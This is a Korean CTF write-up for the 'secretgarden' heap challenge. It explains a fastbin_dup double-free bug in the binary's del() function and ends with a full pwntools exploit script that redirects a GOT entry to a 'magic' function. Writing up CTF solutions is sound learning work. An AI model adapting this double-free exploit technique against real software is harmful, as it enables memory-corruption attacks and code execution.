문제
secretgarden 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
secretgarden: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=22cb8aae67a3f8faed65bd339fa5b1eff20ae57d, not stripped
바이너리 코드
add()
int add()
{
...
size_t size; // [rbp-20h]
...
LODWORD(size) = 0;
...
else
{
s = malloc(0x28);
memset(s,0,0x28);
printf("Length of the name :");
if ((unsigned int)__isoc99_scanf("%u",&size) == -1 )
exit(-1);
buf = malloc((unsigned int)size);
...
printf("The name of flower :")
read(0,buf,(unsigned int)size);
*((_QWORD *)s+1) = buf;
printf("The color of the flower :");
__isoc99_scanf("%23s", (char *)s+16);
*(_DWORD *)s = 1;
for(HIDWORD(size) = 0; HIDWORD(size) < 0x63; ++HIDWORD(size))
{
if (!*(&flowerlist + HIDWORD(size)))
{
*(&flowerlist + HIDWORD(size)) = s;
break;
}
}
++flowercount;
result = puts("Successful !");
}
...
}
del()
int del()
{
...
if (flowercount)
{
printf("Which flower do you want to remove from the garden");
__isoc99_scanf("%d",&v2);
if (v2 <= 0x63 && *(&flowerlist + v2))
{
*(_DWORD *)*(&flowerlist + v2) = 0;
free(*((void **)*(&flowerlist+v2)+1));
puts("Successful");
}
}
...
}
64비트에서 fastbin은 0x20 - 0xb0 (16 바이트 간격)
del() 함수에서는 add() 함수에서 flower name을 저장하기 위해 할당한 chunk를 free 한다. 이 때 해당 chunk가 free chunk인지 검증을 하지 않고 free를 하기 때문에 fastbin_dup 취약점이 존재한다.
fastbin_dup 취약점
조건
- 동일한 크기의 fast chunk의 할당 및 free가 자유로워야 한다.
- free된 fast chunk를 한 번 더 free할 수 있어야 한다. (double free bug)
공격 방법
- 동일한 크기의 chunk 3개 할당 (chunk 1,2,3)
- chunk 1 free 후 chunk 2 free
- chunk 1 다시 free
- 위의 chunk와 동일한 크기의 chunk 3개 할당
- chunk 4와 chunk 6의 주소가 동일함
exploit 방법
- flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. (2번 반복)
- del() 함수를 통해서 첫 번재와 두 번재로 할당받은 chunk를 free한다.
- del() 함수를 통해서 첫 번째로 할당받은 chunk를 free한다.
- flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. chunk의 앞 8바이트에 (원하는 영역 -16) 을 쓴다.
- flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. (2번 반복)
- 5번을 통해서 내가 원하는 영역을 chunk로 할당받을 수 있다.
주의할 점
내가 원하는 chunk를 할당받기 위해서는 (원하는 영역 -8)에 해당 chunk의 사이즈가 정확히 setting 되어 있어야 한다. 즉 위에서는 (원하는 영역 -8)에 0x60이 저장되어 있어야 한다. 근데 사이즈 체크를 할 때 하위 4바이트만 가지고 체크하는 것 같다. 이 문제에서 (원하는 영역 -8)에 0x??00000000000060이 저장되어 있는데 할당이 된다.
풀이
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/round4/lab12/secretgarden"
def add(length,name,color):
p.recvuntil("choice : ")
p.send("1")
p.recvuntil("name :")
p.sendline(length)
p.recvuntil("flower :")
p.send(name)
p.recvuntil("flower :")
p.sendline(color)
p.recvuntil("!\n")
def del_name(index):
p.recvuntil("choice : ")
p.send("3")
p.recvuntil("garden:")
p.sendline(index)
p.recvuntil("Successful\n")
p=process(file_path)
got_sec=0x602002-8
magic=0x400c7b
add("80","3ffr3s","green")
add("80","w1ll_exploit","green")
#add("80","secret_garden","green")
del_name("0")
del_name("1")
del_name("0")
add("80",p64(got_sec),"ha_we")
add("80","plz!!!","ba_we")
add("80","asldkjf","123")
p.recvuntil("choice : ")
p.send("1")
p.recvuntil("name :")
p.sendline("80")
p.recvuntil("flower :")
p.send("AAAAAA"+"\x00"*8+p64(magic)*2)
p.recvuntil("flower :")
p.sendline("finish!!!")
p.interactive()